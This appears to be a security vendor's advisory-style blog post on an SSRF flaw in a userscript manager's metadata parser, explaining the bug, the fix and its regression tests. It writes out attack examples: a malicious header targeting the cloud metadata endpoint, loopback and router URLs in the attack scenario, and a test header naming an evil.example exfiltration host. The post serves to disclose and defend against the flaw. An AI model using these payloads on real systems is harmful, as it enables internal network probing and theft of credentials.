Back to Blog
high SEVERITY8 min read

Meta.get() Honored @uploadURL From Script Headers: SSRF Fix

A userscript manager's metadata parser accepted the `@uploadURL` directive from a script's own header block, so any installed or auto-updated script could silently redirect the options-page `uploadScript()` fetch to an attacker-chosen destination — including loopback, link-local metadata endpoints, and LAN addresses. The fix makes `Meta.get()` ignore `@uploadURL` when it appears in a script header, leaving the User Metadata field (validated in `Meta.getUserMeta()`) as the only way to set it, and

O
By Orbis AppSec
•Published September 25, 2026•Reviewed September 25, 2026

Answer Summary

This is a first-party fix in a browser userscript manager's metadata parser (`Meta.get()`) and its options-page upload routine (`uploadScript()`); no package version range applies. Before the fix, a script's own `// @uploadURL` header was copied into the stored preference, so a malicious or auto-updated script could make the extension's privileged `fetch()` send the script body to `http://127.0.0.1:…`, `http://169.254.169.254/latest/meta-data/`, or any LAN host — an SSRF and exfiltration primitive that bypasses page CORS and CSP. The fix adds an explicit `case 'uploadURL': return;` in the header parser so the directive is only honored from the already-validated User Metadata field, and pairs it with URL validation on the options-page `fetch()` callers `importFromUrl()` and `uploadScript()`. The class is CWE-918 (Server-Side Request Forgery); no CVE or GHSA has been assigned.

Vulnerability at a Glance

cweCWE-918
fix`Meta.get()` now ignores `@uploadURL` in script headers; only `Meta.getUserMeta()` (URL-validated) may set it, and the options-page `fetch()` callers validate scheme and host
riskScript source and user-authored secrets POSTed to loopback, link-local metadata, or internal LAN hosts from a privileged extension context
languageJavaScript (browser extension, WebExtensions APIs)
root causeThe userscript header parser treated `@uploadURL` as trusted user preference data instead of untrusted script-authored data
vulnerabilityServer-Side Request Forgery via attacker-controlled `@uploadURL` metadata directive

Summary

A userscript manager's metadata parser accepted the @uploadURL directive from a script's own header block, so any installed or auto-updated script could silently redirect the options-page uploadScript() fetch to an attacker-chosen destination — including loopback, link-local metadata endpoints, and LAN addresses. The fix makes Meta.get() ignore @uploadURL when it appears in a script header, leaving the User Metadata field (validated in Meta.getUserMeta()) as the only way to set it, and adds a regression test that asserts a header-supplied @uploadURL resolves to an empty string.

Introduction

This SSRF let an attacker choose, from inside a userscript header, where the browser extension would send an outbound HTTP request.

The extension's options page has a uploadScript() routine that pushes a script's source to a destination the user configures — typically a local development server. It reads that destination from pref[id].uploadURL and hands it to fetch(). Separately, the metadata parser Meta.get() walks a script's // ==UserScript== block and copies recognized directives into the script's stored data object. Before this change, uploadURL was one of the directives it copied.

Those two facts together are the bug. A script header is attacker-authored content — it arrives from a paste, an install link, or an @updateURL refresh of a script the user trusted months ago. A user preference is user-authored content, typed into the options UI and run through URL validation. The parser collapsed that distinction, so a single line in a script header became a write to a preference that a privileged fetch() later dereferences:

// ==UserScript==
// @name      evil
// @uploadURL http://169.254.169.254/latest/meta-data/
// ==/UserScript==

If you maintain any system that parses metadata out of user-supplied documents and merges it into a settings object, this is the pattern to study: the vulnerability is not in the fetch() call, it is in which side of the trust boundary the URL came from.

Affected Versions

Affected not applicable (first-party code) — the Meta.get() header parser and the options-page uploadScript() / importFromUrl() routines before this fix
Fixed in not applicable (first-party code) — fixed by the commit that adds case 'uploadURL': return; to the header parser and URL validation to the options-page fetch() callers
Ecosystem N/A (browser extension source, JavaScript)
CVE / GHSA not assigned
CWE CWE-918 (Server-Side Request Forgery)

The Vulnerability Explained

Where the URL came from

The metadata parser processes each @key value pair from a script header in a switch. Recognized keys are assigned onto the script's data object; for example, the parser already contains dedicated handling that routes a value to data.metaURL or data.updateURL depending on whether it ends in .meta.js / .meta.css:

(/\.meta\.(js|css)$/i.test(value) ? data.metaURL = value : data.updateURL = value);
return;

uploadURL had no case of its own, so it fell through to the parser's generic directive handling and landed on data.uploadURL just like any benign field such as @name or @version. Nothing downstream re-checked its origin. Once stored, pref[id].uploadURL is indistinguishable from a value the user typed into the User Metadata field themselves.

Where it was dereferenced

uploadScript() reads that preference and calls fetch() with it. A second sink exists in the same options page: importFromUrl() collects a URL from a prompt() and passes it straight to fetch(). Neither call validated the scheme or resolved-host class — no rejection of http://127.0.0.1, http://[::1], RFC 1918 ranges, 169.254.169.254, or non-HTTP schemes.

Extension code is the worst possible place for an unvalidated fetch(). It runs with the extension's host permissions, outside any page's CSP, and is not subject to the same-origin restrictions that would stop this request from a web page. A fetch() from here reaches things a page cannot.

Attack scenario

  1. A user installs a useful-looking script, or a script they already trust is updated through its @updateURL. The new header contains // @uploadURL http://127.0.0.1:9200/_bulk.
  2. Meta.get() parses the header and writes data.uploadURL = 'http://127.0.0.1:9200/_bulk'. The options page shows nothing unusual; the user never chose this destination.
  3. The next time the user clicks upload on any script, uploadScript() fetches that URL from the extension's privileged context. The request reaches a service bound to loopback that assumed only local processes could talk to it.
  4. Swapping the value for http://169.254.169.254/latest/meta-data/iam/security-credentials/ targets a cloud instance metadata endpoint if the browser runs on a cloud VM or a managed desktop image. Swapping it for http://192.168.1.1/admin/reboot targets the user's router. Varying the port and observing success versus error timing turns the same primitive into an internal port scanner.
  5. Because uploadScript() sends the script body, the attacker also gets exfiltration: userscripts routinely contain API tokens, cookies, and site-specific credentials the user pasted in.

The impact is a confused-deputy chain — the extension is coerced into making requests on behalf of a script, from a network position and with a permission set the script's author should never be able to borrow.

The Fix

The change closes the hole at the trust boundary rather than trying to sanitize a value that should never have crossed it. An explicit case in the header parser drops the directive:

// uploadURL is a user preference set via the options-page User Metadata field
// (Meta.getUserMeta, already URL-validated) — never honor it from the script's
// own header, or a malicious/updated script could silently redirect uploadScript().
case 'uploadURL':
  return;

Before: @uploadURL in a script header was copied to data.uploadURL and later dereferenced by uploadScript()'s fetch().
After: @uploadURL in a script header is consumed and discarded; data.uploadURL stays empty.

The feature itself is untouched. @uploadURL remains settable through the User Metadata field, which is parsed by Meta.getUserMeta() and already validated as a URL. That path is authored by the person sitting at the browser, which is exactly the authority the setting requires.

A regression test pins both halves of the behavior — the attack is blocked, the feature is preserved:

test('script header @uploadURL is ignored (attack blocked)', () => {
  const src = userScript('// @name        evil\n// @uploadURL   http://evil.example/exfil');
  const data = Meta.get(src, {});
  assert.equal(data.uploadURL, '');
});

The companion test sets data.userMeta = '@uploadURL http://192.168.1.50:8080/upload', calls Meta.getUserMeta(data, true), and asserts the preference is populated — proving the legitimate local-dev-server workflow still works after the parser stops trusting headers.

The second half of the change adds scheme and host validation to the options-page fetch() callers, importFromUrl() and uploadScript(). This is defense in depth and it is necessary for a reason the parser fix does not cover: importFromUrl() takes its URL from a prompt(), so a user can be socially engineered into pasting http://169.254.169.254/... regardless of how strict the metadata parser is. Validating at the sink protects the prompt-driven path; dropping the directive at the parser protects the silently-updated-script path. Neither alone is sufficient.

Key Takeaways

  • A @directive in a userscript header is untrusted input, not configuration. Meta.get() treated @uploadURL with the same trust as @name, which turned a metadata comment into a write to a network destination.
  • Auto-update turns a one-time trust decision into a permanent one. A script the user vetted can acquire an @uploadURL line through its own @updateURL refresh, with no re-prompt. Any directive that influences outbound requests must be excluded from the updatable surface.
  • fetch() inside a browser extension is not the same as fetch() on a page. It carries the extension's host permissions and ignores page CSP and CORS, so loopback, 169.254.169.254, and RFC 1918 addresses are all reachable. Sinks like uploadScript() and importFromUrl() need explicit host-class checks.
  • Prefer removing the capability over filtering it. case 'uploadURL': return; is stronger than validating a header-supplied URL, because validation would still let a script redirect uploads to an allowed host the user never selected.
  • Pin trust-boundary fixes with a test that asserts the empty result. assert.equal(data.uploadURL, '') after parsing a hostile header is the assertion that stops someone from "helpfully" re-adding the directive to the parser later.

How Orbis AppSec Detected This

  • Source: the @uploadURL directive inside an untrusted userscript // ==UserScript== header block, parsed by Meta.get() into data.uploadURL, plus the URL string collected from prompt() in importFromUrl().
  • Sink: fetch() invoked from the options-page uploadScript() routine with pref[id].uploadURL, and fetch() invoked from importFromUrl() with the prompt-supplied URL — both in a privileged extension context that bypasses page CORS and CSP.
  • Missing control: no separation between script-authored metadata and user-authored preferences, and no scheme or host-class validation rejecting loopback, RFC 1918, link-local 169.254.169.254, or non-HTTP schemes before the request was issued.
  • CWE: CWE-918 (Server-Side Request Forgery).
  • Fix: the header parser now returns immediately on uploadURL so only the validated User Metadata path can set it, and the options-page fetch() callers validate the destination URL.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The dangerous line in this codebase was never the fetch() call — it was the missing case in the metadata parser that let a script header write to a preference the fetch() trusted. Adding case 'uploadURL': return; restores the boundary between "what a script says about itself" and "what the user configured," and the two regression tests lock in both sides of that boundary: a hostile header yields an empty uploadURL, while a User Metadata entry of http://192.168.1.50:8080/upload still works.

If your code parses directives out of untrusted documents and merges them into settings, enumerate every field that can end up in a network call, a file path, or a command line — and decide, per field, which side of the boundary it is allowed to come from. Validation at the sink is a useful backstop, as the importFromUrl() prompt path shows, but the durable fix is refusing to let attacker-authored data reach the setting at all. No CVE or GHSA has been assigned to this issue.

Prevention and further reading

Frequently Asked Questions

Does ignoring `@uploadURL` in script headers break the local-upload workflow?

No. The directive is still honored when it comes from the options-page User Metadata field, which is parsed by `Meta.getUserMeta()`. The regression test confirms `@uploadURL http://192.168.1.50:8080/upload` still sets the preference through that path.

Why does the fix use `case 'uploadURL': return;` instead of validating the header's URL?

Validation alone would still let an updated script silently point uploads at any *allowed* host the user never chose. Dropping the directive at the header boundary removes the redirect capability entirely, so the only writer of `uploadURL` is the user in the options UI.

Which `fetch()` callers in the options page needed URL validation besides the upload path?

`importFromUrl()`, which takes a URL straight from a `prompt()` and passes it to `fetch()`, and `uploadScript()`, which reads `pref[id].uploadURL`. Neither previously rejected private IP ranges, loopback, or cloud metadata addresses.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #81

Related Articles

high

Unvalidated thumbnailUrl Passed to axios.get(): SSRF Risk

A server-side image helper passes a `thumbnailUrl` value — sourced from 3D-print file metadata returned by an OctoPrint instance — straight into `axios.get()` with no scheme, host, or IP validation. Anyone who can write that metadata (a crafted G-code file, or a compromised/spoofed OctoPrint endpoint) turns the application into an HTTP proxy for internal networks and cloud metadata services. The accompanying pull request bumps `react-router-dom` from 7.9.1 to 7.18.4 to pick up the CVE-2026-21884

high

esearch() SSRF: requests.get() Trusted Any Host in the URL

A citation format-conversion script used by an AI research skill built HTTP URLs from user-supplied PMIDs, DOIs, arXiv IDs, and free-text queries, then passed the resulting string straight to `requests.get()` with no check that it still pointed at an intended API host. The fix introduces an `ALLOWED_HOSTS` set containing the three real upstream APIs and an `_is_allowed_url()` helper that compares `urlparse(url).hostname` against it before the request is issued. This closes a CWE-918 server-side

high

updateCardBg() Follows Unvalidated 302 Location Headers

A background-image updater fetched a configured image URL with manual redirect handling and then re-issued the request to whatever `Location` header came back, with no scheme or host checks. A redirect to `http://169.254.169.254/` or `http://127.0.0.1:<port>/` would have been followed with the original fetch options attached, and the response body written to disk as an image asset. The fix resolves the redirect target against `imgDownloadUrl` and rejects anything that is not HTTPS on the same ho

high

stream_media_file SSRF: src Parameter Reaches requests.get()

A media-download helper accepted a fully attacker-controlled URL from the `src` query parameter and passed it straight to `requests.get()`, turning the service into an open HTTP proxy for internal networks and cloud metadata endpoints. The fix introduces an `assert_safe_url()` guard that resolves the hostname with `getaddrinfo()` and rejects private, loopback, link-local, reserved, and multicast addresses before any request is issued. The guard is now called at the top of both `download_media_fi

high

ip-address 10.2.0 SSRF: Inconsistent Parsing Bypasses IP Checks

The `ip-address` npm package version 10.2.0 contains an inconsistent parsing vulnerability that allows attackers to bypass IP-based access controls. By representing IPv4 addresses in IPv4-mapped IPv6 notation, attackers can trick applications into allowing requests to blocked internal addresses. Upgrading to 10.3.1 resolves this through stricter address normalization.

high

brace-expansion DoS: Exponential Backtracking in Nested Brace Patterns

A critical vulnerability in brace-expansion allows attackers to cause denial of service by submitting specially crafted patterns with nested braces. The exponential-time complexity in pattern expansion creates a computationally expensive path that can freeze applications processing user-controlled input.